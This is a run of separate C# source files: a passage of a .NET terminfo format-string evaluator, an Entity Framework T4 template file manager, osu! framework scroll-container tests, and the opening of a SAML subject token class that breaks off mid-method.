format.Length) { throw new InvalidOperationException(SR.IO_TermInfoInvalid); } string printfFormat = format.Substring(pos - 1, printfEnd - pos + 2); // extract the format string if (printfFormat.Length > 1 && printfFormat[1] == ':') { printfFormat = printfFormat.Remove(1, 1); } output.Append(FormatPrintF(printfFormat, stack.Pop().Object)); // do the printf formatting and append its output break; // Stack pushing operations case 'p': // Push the specified parameter (1-based) onto the stack pos++; Debug.Assert(format[pos] >= '0' && format[pos] <= '9'); stack.Push(args[format[pos] - '1']); break; case 'l': // Pop a string and push its length stack.Push(stack.Pop().String.Length); break; case '{': // Push integer literal, enclosed between braces pos++; int intLit = 0; while (format[pos] != '}') { Debug.Assert(format[pos] >= '0' && format[pos] <= '9'); intLit = (intLit * 10) + (format[pos] - '0'); pos++; } stack.Push(intLit); break; case '\'': // Push literal character, enclosed between single quotes stack.Push((int)format[pos + 1]); Debug.Assert(format[pos + 2] == '\''); pos += 2; break; // Storing and retrieving "static" and "dynamic" variables case 'P': // Pop a value and store it into either static or dynamic variables based on whether the a-z variable is capitalized pos++; int setIndex; FormatParam[] targetVars = GetDynamicOrStaticVariables(format[pos], ref dynamicVars, ref staticVars, out setIndex); targetVars[setIndex] = stack.Pop(); break; case 'g': // Push a static or dynamic variable; which is based on whether the a-z variable is capitalized pos++; int getIndex; FormatParam[] sourceVars = GetDynamicOrStaticVariables(format[pos], ref dynamicVars, ref staticVars, out getIndex); stack.Push(sourceVars[getIndex]); break; // Binary operations case '+': case '-': case '*': case '/': case 'm': case '^': // arithmetic case '&': case '|': // bitwise case '=': case '>': case '<': // comparison case 'A': case 'O': // logical int second = stack.Pop().Int32; // it's a stack... the second value was pushed last int first = stack.Pop().Int32; char c = format[pos]; stack.Push( c == '+' ? (first + second) : c == '-' ? (first - second) : c == '*' ? (first * second) : c == '/' ? (first / second) : c == 'm' ? (first % second) : c == '^' ? (first ^ second) : c == '&' ? (first & second) : c == '|' ? (first | second) : c == '=' ? AsInt(first == second) : c == '>' ? AsInt(first > second) : c == '<' ? AsInt(first < second) : c == 'A' ? AsInt(AsBool(first) && AsBool(second)) : c == 'O' ? AsInt(AsBool(first) || AsBool(second)) : 0); // not possible; we just validated above break; // Unary operations case '!': case '~': int value = stack.Pop().Int32; stack.Push( format[pos] == '!' ? AsInt(!AsBool(value)) : ~value); break; // Some terminfo files appear to have a fairly liberal interpretation of %i. The spec states that %i increments the first two arguments, // but some uses occur when there's only a single argument. To make sure we accommodate these files, we increment the values // of up to (but not requiring) two arguments. case 'i': if (args.Length > 0) { args[0] = 1 + args[0].Int32; if (args.Length > 1) args[1] = 1 + args[1].Int32; } break; // Conditional of the form %? if-part %t then-part %e else-part %; // The "%e else-part" is optional. case '?': sawIfConditional = true; break; case 't': // We hit the end of the if-part and are about to start the then-part. // The if-part left its result on the stack; pop and evaluate. bool conditionalResult = AsBool(stack.Pop().Int32); // Regardless of whether it's true, run the then-part to get past it. // If the conditional was true, output the then results. pos++; string thenResult = EvaluateInternal(format, ref pos, args, stack, ref dynamicVars, ref staticVars); if (conditionalResult) { output.Append(thenResult); } Debug.Assert(format[pos] == 'e' || format[pos] == ';'); // We're past the then; the top of the stack should now be a Boolean // indicating whether this conditional has more to be processed (an else clause). if (!AsBool(stack.Pop().Int32)) { // Process the else clause, and if the conditional was false, output the else results. pos++; string elseResult = EvaluateInternal(format, ref pos, args, stack, ref dynamicVars, ref staticVars); if (!conditionalResult) { output.Append(elseResult); } // Now we should be done (any subsequent elseif logic will have been handled in the recursive call). if (!AsBool(stack.Pop().Int32)) { throw new InvalidOperationException(SR.IO_TermInfoInvalid); } } // If we're in a nested processing, return to our parent. if (!sawIfConditional) { stack.Push(1); return StringBuilderCache.GetStringAndRelease(output); } // Otherwise, we're done processing the conditional in its entirety. sawIfConditional = false; break; case 'e': case ';': // Let our caller know why we're exiting, whether due to the end of the conditional or an else branch. stack.Push(AsInt(format[pos] == ';')); return StringBuilderCache.GetStringAndRelease(output); // Anything else is an error default: throw new InvalidOperationException(SR.IO_TermInfoInvalid); } } stack.Push(1); return StringBuilderCache.GetStringAndRelease(output); } /// <summary>Converts an Int32 to a Boolean, with 0 meaning false and all non-zero values meaning true.</summary> /// <param name="i">The integer value to convert.</param> /// <returns>true if the integer was non-zero; otherwise, false.</returns> private static bool AsBool(Int32 i) { return i != 0; } /// <summary>Converts a Boolean to an Int32, with true meaning 1 and false meaning 0.</summary> /// <param name="b">The Boolean value to convert.</param> /// <returns>1 if the Boolean is true; otherwise, 0.</returns> private static int AsInt(bool b) { return b ? 1 : 0; } /// <summary>Formats an argument into a printf-style format string.</summary> /// <param name="format">The printf-style format string.</param> /// <param name="arg">The argument to format. This must be an Int32 or a String.</param> /// <returns>The formatted string.</returns> private static unsafe string FormatPrintF(string format, object arg) { Debug.Assert(arg is string || arg is Int32); // Determine how much space is needed to store the formatted string. string stringArg = arg as string; int neededLength = stringArg != null ? Interop.Sys.SNPrintF(null, 0, format, stringArg) : Interop.Sys.SNPrintF(null, 0, format, (int)arg); if (neededLength == 0) { return string.Empty; } if (neededLength < 0) { throw new InvalidOperationException(SR.InvalidOperation_PrintF); } // Allocate the needed space, format into it, and return the data as a string. byte[] bytes = new byte[neededLength + 1]; // extra byte for the null terminator fixed (byte* ptr = &bytes[0]) { int length = stringArg != null ? Interop.Sys.SNPrintF(ptr, bytes.Length, format, stringArg) : Interop.Sys.SNPrintF(ptr, bytes.Length, format, (int)arg); if (length != neededLength) { throw new InvalidOperationException(SR.InvalidOperation_PrintF); } } return Encoding.ASCII.GetString(bytes, 0, neededLength); } /// <summary>Gets the lazily-initialized dynamic or static variables collection, based on the supplied variable name.</summary> /// <param name="c">The name of the variable.</param> /// <param name="dynamicVars">The lazily-initialized dynamic variables collection.</param> /// <param name="staticVars">The lazily-initialized static variables collection.</param> /// <param name="index">The index to use to index into the variables.</param> /// <returns>The variables collection.</returns> private static FormatParam[] GetDynamicOrStaticVariables( char c, ref FormatParam[] dynamicVars, ref FormatParam[] staticVars, out int index) { if (c >= 'A' && c <= 'Z') { index = c - 'A'; return staticVars ?? (staticVars = new FormatParam[26]); // one slot for each letter of alphabet } else if (c >= 'a' && c <= 'z') { index = c - 'a'; return dynamicVars ?? (dynamicVars = new FormatParam[26]); // one slot for each letter of alphabet } else throw new InvalidOperationException(SR.IO_TermInfoInvalid); } /// <summary> /// Represents a parameter to a terminfo formatting string. /// It is a discriminated union of either an integer or a string, /// with characters represented as integers. /// </summary> public struct FormatParam { /// <summary>The integer stored in the parameter.</summary> private readonly int _int32; /// <summary>The string stored in the parameter.</summary> private readonly string _string; // null means an Int32 is stored /// <summary>Initializes the parameter with an integer value.</summary> /// <param name="value">The value to be stored in the parameter.</param> public FormatParam(Int32 value) : this(value, null) { } /// <summary>Initializes the parameter with a string value.</summary> /// <param name="value">The value to be stored in the parameter.</param> public FormatParam(String value) : this(0, value ?? string.Empty) { } /// <summary>Initializes the parameter.</summary> /// <param name="intValue">The integer value.</param> /// <param name="stringValue">The string value.</param> private FormatParam(Int32 intValue, String stringValue) { _int32 = intValue; _string = stringValue; } /// <summary>Implicit converts an integer into a parameter.</summary> public static implicit operator FormatParam(int value) { return new FormatParam(value); } /// <summary>Implicit converts a string into a parameter.</summary> public static implicit operator FormatParam(string value) { return new FormatParam(value); } /// <summary>Gets the integer value of the parameter. If a string was stored, 0 is returned.</summary> public int Int32 { get { return _int32; } } /// <summary>Gets the string value of the parameter. If an Int32 or a null String were stored, an empty string is returned.</summary> public string String { get { return _string ?? string.Empty; } } /// <summary>Gets the string or the integer value as an object.</summary> public object Object { get { return _string ?? (object)_int32; } } } } } }
using System.IO; using System.Text; using EnvDTE; using HWClassLibrary.Debug; using System.Collections.Generic; using System.Linq; using System; namespace HWClassLibrary.EF.Utility { /// <summary> /// Responsible for marking the various sections of the generation, /// so they can be split up into separate files /// </summary> public class EntityFrameworkTemplateFileManager { /// <summary> /// Creates the VsEntityFrameworkTemplateFileManager if VS is detected, otherwise /// creates the file system version. /// </summary> public static EntityFrameworkTemplateFileManager Create(object textTransformation) { var transformation = DynamicTextTransformation.Create(textTransformation); var host = transformation.Host; #if !PREPROCESSED_TEMPLATE if(host.AsIServiceProvider() != null) return new VsEntityFrameworkTemplateFileManager(transformation); #endif return new EntityFrameworkTemplateFileManager(transformation); } sealed class Block { public String Name; public int Start, Length; } readonly List<Block> files = new List<Block>(); readonly Block footer = new Block(); readonly Block header = new Block(); readonly DynamicTextTransformation _textTransformation; // reference to the GenerationEnvironment StringBuilder on the // TextTransformation object readonly StringBuilder _generationEnvironment; Block currentBlock; /// <summary> /// Initializes an EntityFrameworkTemplateFileManager Instance with the /// TextTransformation (T4 generated class) that is currently running /// </summary> EntityFrameworkTemplateFileManager(object textTransformation) { if(textTransformation == null) throw new ArgumentNullException("textTransformation"); _textTransformation = DynamicTextTransformation.Create(textTransformation); _generationEnvironment = _textTransformation.GenerationEnvironment; } /// <summary> /// Marks the end of the last file if there was one, and starts a new /// and marks this point in generation as a new file. /// </summary> public void StartNewFile(string name) { if(name == null) throw new ArgumentNullException("name"); CurrentBlock = new Block {Name = name}; } public void StartFooter() { CurrentBlock = footer; } public void StartHeader() { CurrentBlock = header; } public void EndBlock() { if(CurrentBlock == null) return; CurrentBlock.Length = _generationEnvironment.Length - CurrentBlock.Start; if(CurrentBlock != header && CurrentBlock != footer) files.Add(CurrentBlock); currentBlock = null; } /// <summary> /// Produce the template output files. /// </summary> public virtual IEnumerable<string> Process(bool split = true) { var generatedFileNames = new List<string>(); if(split) { EndBlock(); var headerText = _generationEnvironment.ToString(header.Start, header.Length); var footerText = _generationEnvironment.ToString(footer.Start, footer.Length); var outputPath = Path.GetDirectoryName(_textTransformation.Host.TemplateFile); files.Reverse(); foreach(var block in files) { var fileName = Path.Combine(outputPath, block.Name); var content = headerText + _generationEnvironment.ToString(block.Start, block.Length) + footerText; generatedFileNames.Add(fileName); CreateFile(fileName, content); _generationEnvironment.Remove(block.Start, block.Length); } } return generatedFileNames; } protected virtual void CreateFile(string fileName, string content) { if(IsFileContentDifferent(fileName, content)) File.WriteAllText(fileName, content); } protected bool IsFileContentDifferent(String fileName, string newContent) { return !(File.Exists(fileName) && File.ReadAllText(fileName) == newContent); } Block CurrentBlock { get { return currentBlock; } set { if(CurrentBlock != null) EndBlock(); if(value != null) value.Start = _generationEnvironment.Length; currentBlock = value; } } #if !PREPROCESSED_TEMPLATE sealed class VsEntityFrameworkTemplateFileManager : EntityFrameworkTemplateFileManager { readonly ProjectItem templateProjectItem; readonly DTE dte; readonly Action<string> checkOutAction; readonly Action<IEnumerable<string>> projectSyncAction; /// <summary> /// Creates an instance of the VsEntityFrameworkTemplateFileManager class with the IDynamicHost instance /// </summary> public VsEntityFrameworkTemplateFileManager(object textTemplating) : base(textTemplating) { var hostServiceProvider = _textTransformation.Host.AsIServiceProvider(); if(hostServiceProvider == null) throw new ArgumentNullException("Could not obtain hostServiceProvider"); dte = (DTE) hostServiceProvider.GetService(typeof(DTE)); if(dte == null) throw new ArgumentNullException("Could not obtain DTE from host"); templateProjectItem = dte.Solution.FindProjectItem(_textTransformation.Host.TemplateFile); checkOutAction = fileName => dte.SourceControl.CheckOutItem(fileName); projectSyncAction = keepFileNames => ProjectSync(templateProjectItem, keepFileNames); } public override IEnumerable<string> Process(bool split) { if(templateProjectItem.ProjectItems == null) return new List<string>(); var generatedFileNames = base.Process(split); projectSyncAction.EndInvoke(projectSyncAction.BeginInvoke(generatedFileNames, null, null)); return generatedFileNames; } protected override void CreateFile(string fileName, string content) { if(IsFileContentDifferent(fileName, content)) { CheckoutFileIfRequired(fileName); File.WriteAllText(fileName, content); } } static void ProjectSync(ProjectItem templateProjectItem, IEnumerable<string> keepFileNames) { var keepFileNameSet = new HashSet<string>(keepFileNames); var projectFiles = new Dictionary<string, ProjectItem>(); var originalOutput = Path.GetFileNameWithoutExtension(templateProjectItem.FileNames[0]); foreach(ProjectItem projectItem in templateProjectItem.ProjectItems) projectFiles.Add(projectItem.FileNames[0], projectItem); // Remove unused items from the project foreach(var pair in projectFiles) if(!keepFileNames.Contains(pair.Key) && !(Path.GetFileNameWithoutExtension(pair.Key) + ".").StartsWith(originalOutput + ".")) pair.Value.Delete(); // Add missing files to the project foreach(var fileName in keepFileNameSet) if(!projectFiles.ContainsKey(fileName)) templateProjectItem.ProjectItems.AddFromFile(fileName); } void CheckoutFileIfRequired(string fileName) { if(dte.SourceControl == null || !dte.SourceControl.IsItemUnderSCC(fileName) || dte.SourceControl.IsItemCheckedOut(fileName)) return; // run on worker thread to prevent T4 calling back into VS checkOutAction.EndInvoke(checkOutAction.BeginInvoke(fileName, null, null)); } } #endif } }
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using NUnit.Framework; using osu.Framework.Graphics; using osu.Framework.Graphics.Containers; using osu.Framework.Graphics.Shapes; using osu.Framework.Input.Events; using osu.Framework.Utils; using osu.Framework.Testing; using osuTK; using osuTK.Graphics; using osuTK.Input; namespace osu.Framework.Tests.Visual.Containers { public class TestSceneScrollContainer : ManualInputManagerTestScene { public override IReadOnlyList<Type> RequiredTypes => new[] { typeof(ScrollContainer<Drawable>), typeof(BasicScrollContainer), typeof(BasicScrollContainer<Drawable>) }; private ScrollContainer<Drawable> scrollContainer; [SetUp] public void Setup() => Schedule(Clear); [TestCase(0)] [TestCase(100)] public void TestScrollTo(float clampExtension) { const float container_height = 100; const float box_height = 400; AddStep("Create scroll container", () => { Add(scrollContainer = new BasicScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(container_height), ClampExtension = clampExtension, Child = new Box { Size = new Vector2(100, box_height) } }); }); scrollTo(-100, box_height - container_height, clampExtension); checkPosition(0); scrollTo(100, box_height - container_height, clampExtension); checkPosition(100); scrollTo(300, box_height - container_height, clampExtension); checkPosition(300); scrollTo(400, box_height - container_height, clampExtension); checkPosition(300); scrollTo(500, box_height - container_height, clampExtension); checkPosition(300); } private FillFlowContainer fill; [Test] public void TestScrollIntoView() { const float item_height = 25; AddStep("Create scroll container", () => { Add(scrollContainer = new BasicScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(item_height * 4), Child = fill = new FillFlowContainer { RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Direction = FillDirection.Vertical, }, }); for (int i = 0; i < 8; i++) { fill.Add(new Box { Colour = new Color4(RNG.NextSingle(1), RNG.NextSingle(1), RNG.NextSingle(1), 1), RelativeSizeAxes = Axes.X, Height = item_height, }); } }); // simple last item (hits bottom of view) scrollIntoView(7, item_height * 4); // position doesn't change when item in view scrollIntoView(6, item_height * 4); // scroll in reverse without overscrolling scrollIntoView(1, item_height); // scroll forwards with small (non-zero) view // current position will change on restore size scrollIntoView(7, item_height * 7, heightAdjust: 15, expectedPostAdjustPosition: 100); // scroll backwards with small (non-zero) view // current position won't change on restore size scrollIntoView(2, item_height * 2, heightAdjust: 15, expectedPostAdjustPosition: item_height * 2); // test forwards scroll with zero container height scrollIntoView(7, item_height * 7, heightAdjust: 0, expectedPostAdjustPosition: item_height * 4); // test backwards scroll with zero container height scrollIntoView(2, item_height * 2, heightAdjust: 0, expectedPostAdjustPosition: item_height * 2); } [TestCase(false)] [TestCase(true)] public void TestDraggingScroll(bool withClampExtension) { AddStep("Create scroll container", () => { Add(scrollContainer = new BasicScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(200), ClampExtension = withClampExtension ? 100 : 0, Child = new Box { Size = new Vector2(200, 300) } }); }); AddStep("Click and drag scrollcontainer", () => { InputManager.MoveMouseTo(scrollContainer); InputManager.PressButton(MouseButton.Left); // Required for the dragging state to be set correctly. InputManager.MoveMouseTo(scrollContainer.ToScreenSpace(scrollContainer.LayoutRectangle.Centre + new Vector2(10f))); }); AddStep("Move mouse up", () => InputManager.MoveMouseTo(scrollContainer.ScreenSpaceDrawQuad.Centre - new Vector2(0, 400))); checkPosition(withClampExtension ? 200 : 100); AddStep("Move mouse down", () => InputManager.MoveMouseTo(scrollContainer.ScreenSpaceDrawQuad.Centre + new Vector2(0, 400))); checkPosition(withClampExtension ? -100 : 0); AddStep("Release mouse button", () => InputManager.ReleaseButton(MouseButton.Left)); checkPosition(0); } [Test] public void TestContentAnchors() { AddStep("Create scroll container with centre-left content", () => { Add(scrollContainer = new BasicScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(300), ScrollContent = { Anchor = Anchor.CentreLeft, Origin = Anchor.CentreLeft, }, Child = new Box { Size = new Vector2(300, 400) } }); }); AddStep("Scroll to 0", () => scrollContainer.ScrollTo(0, false)); AddAssert("Content position at top", () => Precision.AlmostEquals(scrollContainer.ScreenSpaceDrawQuad.TopLeft, scrollContainer.ScrollContent.ScreenSpaceDrawQuad.TopLeft)); } [Test] public void TestClampedScrollbar() { AddStep("Create scroll container", () => { Add(scrollContainer = new ClampedScrollbarScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(500), Child = new FillFlowContainer { AutoSizeAxes = Axes.Both, Direction = FillDirection.Vertical, Children = new[] { new Box { Size = new Vector2(500) }, new Box { Size = new Vector2(500) }, new Box { Size = new Vector2(500) }, } } }); }); AddStep("scroll to end", () => scrollContainer.ScrollToEnd(false)); checkScrollbarPosition(250); AddStep("scroll to start", () => scrollContainer.ScrollToStart(false)); checkScrollbarPosition(0); } [Test] public void TestClampedScrollbarDrag() { ClampedScrollbarScrollContainer clampedContainer = null; AddStep("Create scroll container", () => { Add(scrollContainer = clampedContainer = new ClampedScrollbarScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(500), Child = new FillFlowContainer { AutoSizeAxes = Axes.Both, Direction = FillDirection.Vertical, Children = new[] { new Box { Size = new Vector2(500) }, new Box { Size = new Vector2(500) }, new Box { Size = new Vector2(500) }, } } }); }); AddStep("Click scroll bar", () => { InputManager.MoveMouseTo(clampedContainer.Scrollbar); InputManager.PressButton(MouseButton.Left); }); // Position at mouse down checkScrollbarPosition(0); AddStep("begin drag", () => { // Required for the dragging state to be set correctly. InputManager.MoveMouseTo(clampedContainer.Scrollbar.ToScreenSpace(clampedContainer.Scrollbar.LayoutRectangle.Centre + new Vector2(0, -10f))); }); AddStep("Move mouse up", () => InputManager.MoveMouseTo(scrollContainer.ScreenSpaceDrawQuad.TopRight - new Vector2(0, 20))); checkScrollbarPosition(0); AddStep("Move mouse down", () => InputManager.MoveMouseTo(scrollContainer.ScreenSpaceDrawQuad.BottomRight + new Vector2(0, 20))); checkScrollbarPosition(250); AddStep("Release mouse button", () => InputManager.ReleaseButton(MouseButton.Left)); checkScrollbarPosition(250); } [Test] public void TestHandleKeyboardRepeatAfterRemoval() { AddStep("create scroll container", () => { Add(scrollContainer = new RepeatCountingScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(500), Child = new FillFlowContainer { AutoSizeAxes = Axes.Both, Direction = FillDirection.Vertical, Children = new[] { new Box { Size = new Vector2(500) }, new Box { Size = new Vector2(500) }, new Box { Size = new Vector2(500) }, } } }); }); AddStep("move mouse to scroll container", () => InputManager.MoveMouseTo(scrollContainer)); AddStep("press page down and remove scroll container", () => InputManager.PressKey(Key.PageDown)); AddStep("remove scroll container", () => { Remove(scrollContainer); ((RepeatCountingScrollContainer)scrollContainer).RepeatCount = 0; }); AddWaitStep("wait for repeats", 5); } [Test] public void TestEmptyScrollContainerDoesNotHandleScrollAndDrag() { AddStep("create scroll container", () => { Add(scrollContainer = new InputHandlingScrollContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, Size = new Vector2(500), }); }); AddStep("Perform scroll", () => { InputManager.MoveMouseTo(scrollContainer); InputManager.ScrollVerticalBy(50); }); AddAssert("Scroll was not handled", () => { var inputHandlingScrollContainer = (InputHandlingScrollContainer)scrollContainer; return inputHandlingScrollContainer.ScrollHandled.HasValue && !inputHandlingScrollContainer.ScrollHandled.Value; }); AddStep("Perform drag", () => { InputManager.MoveMouseTo(scrollContainer); InputManager.PressButton(MouseButton.Left); InputManager.MoveMouseTo(scrollContainer, new Vector2(50)); }); AddAssert("Drag was not handled", () => { var inputHandlingScrollContainer = (InputHandlingScrollContainer)scrollContainer; return inputHandlingScrollContainer.DragHandled.HasValue && !inputHandlingScrollContainer.DragHandled.Value; }); } private void scrollIntoView(int index, float expectedPosition, float? heightAdjust = null, float? expectedPostAdjustPosition = null) { if (heightAdjust != null) AddStep("set container height zero", () => scrollContainer.Height = heightAdjust.Value); AddStep($"scroll {index} into view", () => scrollContainer.ScrollIntoView(fill.Skip(index).First())); AddUntilStep($"{index} is visible", () => !fill.Skip(index).First().IsMaskedAway); checkPosition(expectedPosition); if (heightAdjust != null) { Debug.Assert(expectedPostAdjustPosition != null, nameof(expectedPostAdjustPosition) + " != null"); AddStep("restore height", () => scrollContainer.Height = 100); checkPosition(expectedPostAdjustPosition.Value); } } private void scrollTo(float position, float scrollContentHeight, float extension) { float clampedTarget = Math.Clamp(position, -extension, scrollContentHeight + extension); float immediateScrollPosition = 0; AddStep($"scroll to {position}", () => { scrollContainer.ScrollTo(position, false); immediateScrollPosition = scrollContainer.Current; }); AddAssert($"immediately scrolled to {clampedTarget}", () => Precision.AlmostEquals(clampedTarget, immediateScrollPosition, 1)); } private void checkPosition(float expected) => AddUntilStep($"position at {expected}", () => Precision.AlmostEquals(expected, scrollContainer.Current, 1)); private void checkScrollbarPosition(float expected) => AddUntilStep($"scrollbar position at {expected}", () => Precision.AlmostEquals(expected, scrollContainer.InternalChildren[1].DrawPosition.Y, 1)); private class RepeatCountingScrollContainer : BasicScrollContainer { public int RepeatCount { get; set; } protected override bool OnKeyDown(KeyDownEvent e) { if (e.Repeat) RepeatCount++; return base.OnKeyDown(e); } } private class ClampedScrollbarScrollContainer : BasicScrollContainer { public new ScrollbarContainer Scrollbar => base.Scrollbar; protected override ScrollbarContainer CreateScrollbar(Direction direction) => new ClampedScrollbar(direction); private class ClampedScrollbar : BasicScrollbar { protected internal override float MinimumDimSize => 250; public ClampedScrollbar(Direction direction) : base(direction) { } } } private class InputHandlingScrollContainer : BasicScrollContainer { public bool? ScrollHandled { get; private set; } public bool? DragHandled { get; private set; } protected override bool OnScroll(ScrollEvent e) { ScrollHandled = base.OnScroll(e); return ScrollHandled.Value; } protected override bool OnDragStart(DragStartEvent e) { DragHandled = base.OnDragStart(e); return DragHandled.Value; } } } }
//----------------------------------------------------------------------------- // Copyright (c) Microsoft Corporation. All rights reserved. //----------------------------------------------------------------------------- namespace System.IdentityModel.Tokens { using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.IdentityModel.Claims; using System.IdentityModel.Selectors; using System.Runtime.Serialization; using System.Security.Cryptography; using System.Security.Cryptography.Xml; using System.Security.Principal; using System.Security; using System.Xml; using System.Xml.Serialization; public class SamlSubject { // Saml SubjectConfirmation parts. readonly ImmutableCollection<string> confirmationMethods = new ImmutableCollection<string>(); string confirmationData; SecurityKeyIdentifier securityKeyIdentifier; SecurityKey crypto; SecurityToken subjectToken; // Saml NameIdentifier element parts. string name; string nameFormat; string nameQualifier; List<Claim> claims; IIdentity identity; ClaimSet subjectKeyClaimset; bool isReadOnly = false; public SamlSubject() { } public SamlSubject(string nameFormat, string nameQualifier, string name) : this(nameFormat, nameQualifier, name, null, null, null) { } public SamlSubject(string nameFormat, string nameQualifier, string name, IEnumerable<string> confirmations, string confirmationData, SecurityKeyIdentifier securityKeyIdentifier) { if (confirmations != null) { foreach (string method in confirmations) { if (string.IsNullOrEmpty(method)) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument(SR.GetString(SR.SAMLEntityCannotBeNullOrEmpty, XD.SamlDictionary.SubjectConfirmationMethod.Value)); this.confirmationMethods.Add(method); } } if ((this.confirmationMethods.Count == 0) && (string.IsNullOrEmpty(name))) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument(SR.GetString(SR.SAMLSubjectRequiresNameIdentifierOrConfirmationMethod)); if ((this.confirmationMethods.Count == 0) && ((confirmationData != null) || (securityKeyIdentifier != null))) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument(SR.GetString(SR.SAMLSubjectRequiresConfirmationMethodWhenConfirmationDataOrKeyInfoIsSpecified)); this.name = name; this.nameFormat = nameFormat; this.nameQualifier = nameQualifier; this.confirmationData = confirmationData; this.securityKeyIdentifier = securityKeyIdentifier; } public string Name { get { return this.name; } set { if (isReadOnly) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException(SR.GetString(SR.ObjectIsReadOnly))); if (string.IsNullOrEmpty(value)) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument(SR.GetString(SR.SAMLSubjectNameIdentifierRequiresNameValue)); this.name = value; } } public string NameFormat { get { return this.nameFormat; } set { if (isReadOnly) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException(SR.GetString(SR.ObjectIsReadOnly))); this.nameFormat = value; } } public string NameQualifier { get { return this.nameQualifier; } set { if (isReadOnly) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException(SR.GetString(SR.ObjectIsReadOnly))); this.nameQualifier = value; } } public static string NameClaimType { get { return ClaimTypes.NameIdentifier; } } public IList<string> ConfirmationMethods { get { return this.confirmationMethods; } } internal IIdentity Identity { get { return this.identity; } } public string SubjectConfirmationData { get { return this.confirmationData; } set { if (value == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("value"); this.confirmationData = value; } } public SecurityKeyIdentifier KeyIdentifier { get { return this.securityKeyIdentifier; } set { if (isReadOnly) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException(SR.GetString(SR.ObjectIsReadOnly))); if (value == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("value"); this.securityKeyIdentifier = value; } } public SecurityKey Crypto { get { return this.crypto; } set { if (isReadOnly) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException(SR.GetString(SR.ObjectIsReadOnly))); if (value == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("value"); this.crypto = value; } } public bool IsReadOnly { get { return this.isReadOnly; } } public void MakeReadOnly() { if (!this.isReadOnly) { if (securityKeyIdentifier != null) securityKeyIdentifier.MakeReadOnly(); this.confirmationMethods.MakeReadOnly(); this.isReadOnly = true; } } void CheckObjectValidity() { if ((this.confirmationMethods.Count == 0) && (string.IsNullOrEmpty(name))) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SAMLSubjectRequiresNameIdentifierOrConfirmationMethod))); if ((this.confirmationMethods.Count == 0) && ((this.confirmationData != null) || (this.securityKeyIdentifier != null))) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SAMLSubjectRequiresConfirmationMethodWhenConfirmationDataOrKeyInfoIsSpecified))); } public virtual ReadOnlyCollection<Claim> ExtractClaims() { if (this.claims == null) { this.claims = new List<Claim>(); if (!string.IsNullOrEmpty(this.name)) { this.claims.Add(new Claim(ClaimTypes.NameIdentifier, new SamlNameIdentifierClaimResource(this.name, this.nameQualifier, this.nameFormat), Rights.Identity)); this.claims.Add(new Claim(ClaimTypes.NameIdentifier, new SamlNameIdentifierClaimResource(this.name, this.nameQualifier, this.nameFormat), Rights.PossessProperty)); } } return this.claims.AsReadOnly(); } public virtual ClaimSet ExtractSubjectKeyClaimSet(SamlSecurityTokenAuthenticator samlAuthenticator) { if ((this.subjectKeyClaimset == null) && (this.securityKeyIdentifier != null)) { if (samlAuthenticator == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("samlAuthenticator"); if (this.subjectToken != null) { this.subjectKeyClaimset = samlAuthenticator.ResolveClaimSet(this.subjectToken); this.identity = samlAuthenticator.ResolveIdentity(this.subjectToken); if ((this.identity == null) && (this.subjectKeyClaimset != null)) { Claim identityClaim = null; foreach (Claim claim in this.subjectKeyClaimset.FindClaims(null, Rights.Identity)) { identityClaim = claim; break; } if (identityClaim != null) { this.identity = SecurityUtils.CreateIdentity(identityClaim.Resource.ToString(), this.GetType().Name); } } } if (this.subjectKeyClaimset == null) { // Add the type of the primary claim as the Identity claim. this.subjectKeyClaimset = samlAuthenticator.ResolveClaimSet(this.securityKeyIdentifier); this.identity = samlAuthenticator.ResolveIdentity(this.securityKeyIdentifier); } } return this.subjectKeyClaimset; } public virtual void ReadXml(XmlDictionaryReader reader, SamlSerializer samlSerializer, SecurityTokenSerializer keyInfoSerializer, SecurityTokenResolver outOfBandTokenResolver) { if (reader == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("reader")); if (samlSerializer == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("samlSerializer"); #pragma warning suppress 56506 // samlSerializer.DictionaryManager is never null. SamlDictionary dictionary = samlSerializer.DictionaryManager.SamlDictionary; reader.MoveToContent(); reader.Read(); if (reader.IsStartElement(dictionary.NameIdentifier, dictionary.Namespace)) { this.nameFormat = reader.GetAttribute(dictionary.NameIdentifierFormat, null); this.nameQualifier = reader.GetAttribute(dictionary.NameIdentifierNameQualifier, null); reader.MoveToContent(); this.name = reader.ReadString(); if (this.name == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SAMLNameIdentifierMissingIdentifierValueOnRead))); reader.MoveToContent(); reader.ReadEndElement(); } if (reader.IsStartElement(dictionary.SubjectConfirmation, 